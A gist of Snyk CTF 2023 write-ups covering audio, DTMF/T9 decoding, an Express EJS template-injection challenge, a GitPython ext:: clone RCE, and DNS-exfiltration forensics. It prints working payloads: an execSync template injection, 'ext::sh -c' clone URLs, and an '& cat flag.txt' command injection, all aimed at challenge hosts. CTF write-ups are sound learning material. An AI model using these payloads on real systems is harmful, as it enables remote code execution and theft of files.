Skip to content

Instantly share code, notes, and snippets.

@mlashley

mlashley/YSON.md Secret

Last active November 13, 2023 22:50
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mlashley/3f2fbadd307a43a40a8e69e0e83052e7 to your computer and use it in GitHub Desktop.
Save mlashley/3f2fbadd307a43a40a8e69e0e83052e7 to your computer and use it in GitHub Desktop.
Snyk CTF 2023 Writeups

Audiopolis

Challenge

We're releasing our new audio file analysis tool, Audiopolis, here soon! Please check out the beta and let us know what you find.

Recon

Web service that does speech to text... we'll send it some TTS'd stuff from https://freetools.textmagic.com/text-to-speech because we are too lazy to break out a microphone.

Tried lots of complicated shit... check included mp3s...

Figured it was supposed to be easy - so went back to:

"Hello space ampersand cat space flag period txt space"

Transcription:
hello flag{54e7ef02e2461bcd1fb82f2a9be0e29f}

Beep64

Every CTF needs a base64 challenge...

Recon

The given sine.wav is DTMF.

Used this in realtime to decode because I love ambient ;-) https://unframework.github.io/dtmf-detect/

Spend way more time than necessary trying to crack the code before realising it is T9 text..

8*44*33*333*555*2*4*444*7777*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*9999*33*777*666*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*666*66*33*7777*7*2*222*33*9999*33*777*666*7777*7*2*222*33*666*66*33*

T9 text...

THEFLAGISZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEONEZEROSPACEONESPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEONEZEROSPACEONESPACEONESPACEONESPACEZEROSPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONEZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEONEZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEONESPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEONEZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEONEZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEONEZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONEZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEZEROSPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEZEROSPACEONEZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEONESPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEONEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEONEZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEZEROSPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEZEROSPACEZEROZEROSPACEZEROSPACEONESPACEONESPACEONESPACEONESPACEZEROSPACEONE
0 1 0 1 1 0 1 00 1 1 0 1 1 0 10 1 1 1 1 0 0 00 1 1 0 1 0 0 00 1 0 1 1 0 1 00 0 1 1 0 0 1 10 1 1 1 0 0 1 10 1 1 1 0 1 1 10 1 0 0 1 1 1 00 1 0 0 0 1 0 00 1 0 0 1 0 0 10 1 1 1 1 0 0 00 1 0 1 1 0 0 10 1 0 1 0 1 0 00 1 1 0 1 0 1 10 0 1 1 0 0 1 00 1 0 0 1 1 1 00 1 0 0 0 1 1 10 1 0 0 0 1 1 00 1 1 0 1 0 1 10 1 0 1 1 0 1 00 1 0 0 0 1 0 00 1 1 0 1 0 1 10 0 1 1 0 0 1 10 1 0 1 1 0 1 00 1 1 0 1 1 0 10 1 0 1 1 0 0 10 1 1 1 0 1 1 10 1 0 0 1 1 1 00 1 0 0 0 1 0 00 1 0 0 0 1 0 10 0 1 1 0 0 0 00 1 0 0 1 1 0 10 1 1 1 1 0 1 00 1 0 0 0 1 1 00 1 1 0 1 1 0 00 1 0 0 1 1 0 10 1 1 0 1 0 1 00 1 0 1 0 0 0 10 1 1 1 1 0 0 00 1 0 0 1 1 1 10 1 0 0 0 1 1 10 1 0 1 0 1 0 10 0 1 1 0 0 1 00 1 0 0 1 1 1 00 1 0 0 0 1 0 00 1 0 1 0 1 0 10 1 1 1 0 1 1 10 1 0 0 1 1 1 10 1 0 0 1 0 0 00 0 1 1 0 0 0 00 0 1 1 1 1 0 1
01011010
01101101
01111000
01101000
01011010
00110011
01110011
01110111
01001110
01000100
01001001
01111000
01011001
01010100
01101011
00110010
01001110
01000111
01000110
01101011
01011010
01000100
01101011
00110011
01011010
01101101
01011001
01110111
01001110
01000100
01000101
00110000
01001101
01111010
01000110
01101100
01001101
01101010
01010001
01111000
01001111
01000111
01010101
00110010
01001110
01000100
01010101
01110111
01001111
01001000
00110000
00111101

ZmxhZ3swNDIxYTk2NGFkZDk3ZmYwNDE0MzFlMjQxOGU2NDUwOH0=

flag{0421a964add97ff041431e2418e64508}

tl;dr wav => DTMF digits => T9 Text => ZERO/SPACE/ONE Substitution, split to 8 byte boundaries, render as ASCII => base64 unpack.

Color Profile - Warmup

Given source for an Express.js app:

app.post('/setColor', (req, res) => {
    const { color } = req.body;
    profile.color = color;
    res.json({ profileColor: color });
});

app.get('/', (req, res) => {
    fs.readFile(path.join(__dirname, 'views', 'index.ejs'), 'utf8', (err, data) => {
        if (err) {
            return res.status(500).send('Internal Server Error');
        }

        const profilePage = data.replace(/<% profileColor %>/g, profile.color);
        const renderedHtml = ejs.render(profilePage, { profileColor: profile.color });
        res.send(renderedHtml);
    });
});

Has obvious server-side template injection (SSTI) in the data.replace() line. We can send a payload like this for RCE: <%- process.mainModule.require('child_process').execSync('cat flag.txt') %> and re-fetch the main page.

curl 'http://challenge.ctf.games:32121/setColor' --data-raw "color=<%- process.mainModule.require('child_process').execSync('cat flag.txt') %>"
curl http://challenge.ctf.games:32121/
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <title>Color Profile</title>
    <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/@jaames/iro@5/dist/iro.min.js"></script>
</head>
<body>

<div class="container">
    <div class="card mt-5 mx-auto" style="width: 18rem;">
        <span class="user-icon">👤</span>
        <div class="card-body">
            <h5 class="card-title"><b>John Doe</b></h5>
            <p class="card-text"><b>Username:</b> johndoe</p>
            <p class="card-text"><b>Email:</b> johndoe@example.com</p>
            <div id="colorPicker" data-jscolor="{value:'flag{161babba7712a36861d4a8cc32bde035}

GetHub - Web (easy)

All my friends have been recently sending me Github links.

The only problem is that I don't have time to download all the repos.

So I created this tool that lets my friends can submit repos and I can download them all at once.

Recon

Is a flask app - uses GitPython to clone user-provided URLs.. Clue in the Dockerfile? Specific version of GitPyhtnonRUN python3 -m pip install flask GitPython==3.1.0

GitPython has RCE... https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858

Their PoC

from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])

Exploit

Our app has:

@app.route('/clone', methods = ['POST', 'GET'])
def clone():
    if request.method == 'POST':
        new_repo = request.form['repo']
        try:
            Repo.clone_from(new_repo, f'repositories/{new_repo.split("/")[-1].split(".")[0]}', multi_options=["-c protocol.ext.allow=always"])

So a) we fully control the 'new_repo' arg... b) protocol.ext.allow is set as required to exploit.

Spent a bunch of time wondering why it didn't work, proved standalone PoC works in the same container - eventually figured out the 2nd arg seems to need to unpack too.. #facepalm. (Post-event-note - other solutions in discord didn't need this - not entirely sure why...)

So we need our exploit to meet both needs - which we can do with simple append of ; my/fakerepo.git

e.g. Create fake repo malc: ext::sh -c mkdir% /home/challenge/gethub/repositories/malc ; my/repomalc.git

NB. Needs the % - I didn't dive deep enough to grok why.

This works on the challenge server.

Seems to be a second issue with multiple-argument commands and I'm running out the door so...

  1. Add run.sh to https://github.com/mlashley/color_profile.git from a previous challenge
## run.sh
cp /home/challenge/gethub/flag.txt /home/challenge/gethub/repositories/malc/
  1. Clone it normally in the app

  2. Exploit RCE Asking the tool to clone this repo: ext::sh /home/challenge/gethub/repositories/color_profile/run.sh ; my/repomalc.git copies flag to 'malc' dir

  3. Download 'malc' repo using standard functionality in gethub, and unpack for flag

$ unzip archive.zip
Archive:  archive.zip
 extracting: malc/flag.txt
$ cat malc/flag.txt
───────┬─────────────────────────────────────────
       │ File: malc/flag.txt
───────┼─────────────────────────────────────────
   1   │ flag{9ac087876c0c64de3f607d8d61e5e6c2}
───────┴─────────────────────────────────────────

Leak

We were given a pcap and told to find the exfiltrated data.

Recon

It has tons of broken DNS queries to various places. They clearly had base64 parts in UEsDBBQDAAAIADqDTVcAjBbyIAIAAAUE.somehost.com

The step I missed during the challenge was finding that 'cfttime.com' didn't resolve in real-life - and was the culprit

Solution

Extract DNS queries for cfttime.com, strip the host-parts:

leak $ tshark -r capture.pcapng  -Y "(dns.qry.name contains "cfttime") && (dns.flags.response == 0)" | sed -e "s/\.cfttime\.com.*//" -e "s/.* A //g"  | uniq
UEsDBBQDAAAIADqDTVcAjBbyIAIAAAUE
AAAIAAAAZGF0YS5jc3ZlkmFvmzAQhr_z
K_gBryfbYBy-LUtTrVWbVM2mbvvmgtu4
BVxhmiqa9t93Jq2G2ElId4Ceu3vvXb2G
wbe2vzjDuevDsDGtxZV5T9atcQ1u9r6z
WNZ1b0PAyg1H7AYzWPxyLytfW6z8azf0
R5zRy1v76MJge1snApd-3-HMWzxRUnv7
2Ubgp8q3UEoxITOWq0KDkvTauC7dDVh2
x8G_dVgt4-tc4ftuCcnpV8EZF4nEpaFx
dq0b9niiNMRsRi4XmhUqz0D4dN20Ebyj
Pd_2NBk2P0HfpPiH5iUTKslw6-9tP4xz
B9-hH8sZ-_1R0Isy3ZrnyF4fbH8a-9sP
FPSBT9gLJnmSY_caTIc71zTOtAEhljO0
lJJlFBBcpDeus5G98aep75agtQo1IWvS
JFG4dtXe2AZf-jhBe6rmipS0IgWoR7qy
tek_NHlpTGVxfoWodjGhF4yrpEA4ds-o
hgc8NObxd32vdVbpWnFRVqrIKikqXXAu
MlOWUlV_Zn211mxBAVor_eL6ah_7bkmv
camLK8SuetJWxaU0menganJDbft4ijqW
M3ae56ygACXkn5fGvhvoQCJbbL8iohcT
dh7PvCBfu-YYTxHJNhYzMg3MJEUspocw
R2wuEaHlhJrFA5cfpyX3kCnxdqpmYJr2
ZB5KRvNMjTka6Gb5n4EkkyoRHNvGHZwZ
lQnwYzHDk8hMU4CeD9-vm3DC4_oCkTz1
vWAZT_4CUEsBAj8DFAMAAAgAOoNNVwCM
FvIgAgAABQQAAAgAJAAAAAAAAAAggLSB
AAAAAGRhdGEuY3N2CgAgAAAAAAABABgA
gLFNdRP-2QGAsU11E_7ZAYCxTXUT_tkB
UEsFBgAAAAABAAEAWgAAAEYCAAAAAAAA

Unpack base64 (url-safe charset) => zip > csvfile

Command-line:

$ tshark -r capture.pcapng  -Y "(dns.qry.name contains "cfttime") && (dns.flags.response == 0)"  | sed -e "s/\.cfttime\.com.*//" -e "s/.* A //g"  | uniq | basenc -d --base64url >test.zip
$ unzip test.zip
Archive:  test.zip
  inflating: data.csv
Archive:  test.zip
replace data.csv? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: data.csv

Or use cyberchef to unpack base64 => zip > csvfile

